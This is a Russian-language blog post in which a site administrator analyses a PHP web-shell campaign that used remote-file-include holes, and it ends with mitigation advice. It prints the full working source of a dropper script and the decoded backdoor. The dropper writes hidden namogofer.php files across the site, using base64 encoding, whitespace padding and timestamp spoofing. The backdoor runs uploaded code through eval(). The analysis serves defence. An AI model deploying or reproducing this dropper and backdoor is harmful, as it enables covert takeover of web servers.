Search
Write a publication
Pull to refresh

namogofer.php или бойтесь include'ов url использующих

Вступление


Повесть начну с того, что, зайдя однажды по FTP на один из подотчетных сайтов, обнаружил в корне странный файл namogofer.php. Внутри увидел банальный бэкдор, позволяющий исполнять любой PHP код, загрузив его на сервер обычным методом.

От шока я отошел довольно быстро, и начал разбираться. Взглянув на владельца файла, понял, что создан он был не кем иным, а именно апачем. Выбрал кусок лога, за день создания, и начал шерстить на предмет наличия хитрых запросов с надеждой найти что-либо. Получив только записи об обращении к уже закачанному файлу и ворох запросов говорящих о сканировании сайта на наличие php include уязвимости побрел я в гугль.

Добрый поисковик накидал мне пачку ссылок на разноязычные ресурсы, просмотрев которые я понял в чем дело.

Злосчастный файл являлся кроме бэкдора еще и частью хитрой сети по захвату компов в ботнет.
Операция по внедрению проходит в несколько этапов.

Этап 1:


Сканирование сайта на наличие PHP include уязвимости. Для этого бот прошерстит все обнаруженные PHP скрипты подставляя в параметры ссылку на маленький тестовый скрипт:

<?php echo md5("just_a_test");?>

Причем проверка проводится с нескольких абсолютно разных IP адресов, что наводит на мысли о наличии ботнета. После того, как наличие уязвимости в скрипте обнаружится и будет подтверждено разными ботами, все затихнет, чтобы немного позже перейти к этапу 2.

Этап 2:


По старой схеме, через include уязвимость на сервере исполняется скрипт, который пробегая по всем папкам внутри сайта, создает где это возможно тот самый namogofer.php и выводит информацию о его расположении. Теперь зараженный сайт готов к третьему этапу.

Собственно код скрипта, взят с одного из сайтов, найденных гуглом.

 <?php 

error_reporting(1);
global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8,7,6,6,5,5,5,5,0);
function my_fwrite($f,$data) {
global $CURFILE;
$file_mtime = @filemtime($f);
$file_atime = @fileatime($f);
$dir_mtime = @filemtime(@dirname($f));
$dir_atime = @fileatime(@dirname($f));
if ($file_h = @fopen($f,"wb")){
@fwrite($file_h,$data);
@fclose($file_h);
if ($file_mtime){
@touch($f,$file_mtime,$file_atime);
}elseif(@filemtime($CURFILE)){
@chmod($f,@fileperms($CURFILE));
@touch($f,@filemtime($CURFILE),
@fileatime($CURFILE));
@chgrp($f,@filegroup($CURFILE));
@chown($f,@fileowner($CURFILE));
};
if ($dir_mtime)
@touch(@dirname($f),$dir_mtime,$dir_atime);
return $f;
}else{
return '';
};
};
function ext($f){
return substr($f, strrpos($f, ".") + 1);
};
function walkdir($p,$func='_walkdir',$l=0){
global $START;
global $WD_TIMEOUT;
global $FL;
$func_f = "{$func}_f";
$func_d = "{$func}_d";
$func_s = "{$func}_s";
$func_e = "{$func}_e";
if ($dh = @opendir("$p")){
if (function_exists($func_s)) {
if ($func_s($p,$l)) return 1;
};
while ($f = @readdir($dh)){
if (time() - $START >= $WD_TIMEOUT[$l] )
break;
if ($f == '.' || $f == '..' )
continue;
if (@is_dir ("$p$f/") )
walkdir("$p$f/",$func,$l+1);
if (@is_dir ("$p$f/") && function_exists($func_d))
$func_d("$p$f/",$l);
if (@is_file("$p$f" ) && function_exists($func_f))
$func_f("$p$f" ,$l);
};
closedir($dh);
if (function_exists($func_e))
$func_e($p,$l);
};
};
function r_cut($p){
global $R;
return substr($p,strlen($R));
};
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("testdata_$t"));
};
$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['SCRIPT_NAME'];
echo ""; testdata('start'); $fe = ext($CURFILE); if (!$fe) $fe = 'php'; $FN = "namogofer.$fe"; function _walkdir_s($d,$l) { global $FCNT; $FCNT = array('fn' => '','dir' => 0,'file' => 0,'simtype' => 0); }; function _walkdir_d($d,$l) { global $FCNT; $FCNT['dir' ]++; }; function _walkdir_f($f,$l) { global $FCNT; $FCNT['file']++; if (ext($f) == ext($CURFILE)) $FCNT['simtype']++; }; function _walkdir_e($d,$l) { global $C,$FCNT,$FN; if ($C[$l]<7){ if (my_fwrite("$d$FN",str_repeat("\n",100).str_repeat(' ',150).base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFSUzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAiPHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUgPSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUiXSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRjb2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgncGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+').str_repeat(' ',150)."\n".str_repeat("\n",100))){ $C[$l]++; $FCNT['fn'] = r_cut("$d$FN"); say(implode("\t",$FCNT)); }; }; }; walkdir("$R/"); testdata('end'); echo "
";
?>


Код namogofer'а. Изначально свернут в одну строчку и прячется от стороннего глаза сдвигом на 150 символов от начала строки и на 100 строк вниз.

<?php
error_reporting(1);
global $HTTP_SERVER_VARS;

function say($t) {
echo "$t\n";
};

function testdata($t) {
say(md5("testdata_$t"));
};

echo ""; testdata('start'); if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3") { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])) { eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo "
";
?>


Этап 3:


Собственно теперь злоумышленник может пожинать плоды трудов своих ботов. Через обычный upload с особыми параметрами на сайт заливается нужный php код, и без лишних вопросов исполняется сервером.
Вот таким изощренным образом, множество сайтов получили себе инъекцию чужого кода, а их разработчики дополнительную головную боль. Защититься от такой напасти несложно. Для этого нужно запретить файловым функциям PHP (к коим также относятся include и require) открывать файлы по url.
Либо через php.ini

; Disable allow_url_fopen for security reasons
allow_url_fopen = 'off'


Либо в конфигурации конкретного сервера в апаче.

# Disable allow_url_fopen for security reasons
php_flag allow_url_fopen off


Тем, кто не может отказаться от данной фичи (как например владелец того злосчастного сайта), советую получше фильтровать данные попадающие в параметр функции include.

В день обнаружения мной этой гадости, через гугл находилось множество сайтов охваченных заразой. На данный момент их меньше, но они есть. Ссылки приводить не буду, желающие могут поискать.

Вот здесь статья на ту же тему на английском. Сразу скажу, что этот топик не перевод и не рерайт, а собственные наблюдения и мысли.

P.S. Уязвимый скрипт на пострадавшем сайте оказался уже давно ненужным элементом сайта, который забыли удалить за ненадобностью. Не повторяйте таких ошибок.

P.P.S. Добавлю, что 3 этап на этом сайте так и не прошел. Внутрення структура сайта оказалась слишком запутанной для заражающего скрипта, создавая namogofer.php, скрипт получал невалидный url для него, и в результате на 3-м этапе в access.log'е красовались 404 ошибки при попытке что-либо исполнить через бэкдор. Таким образом применение mod_rewrite оказалось черезвычайно уместным и полезным.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.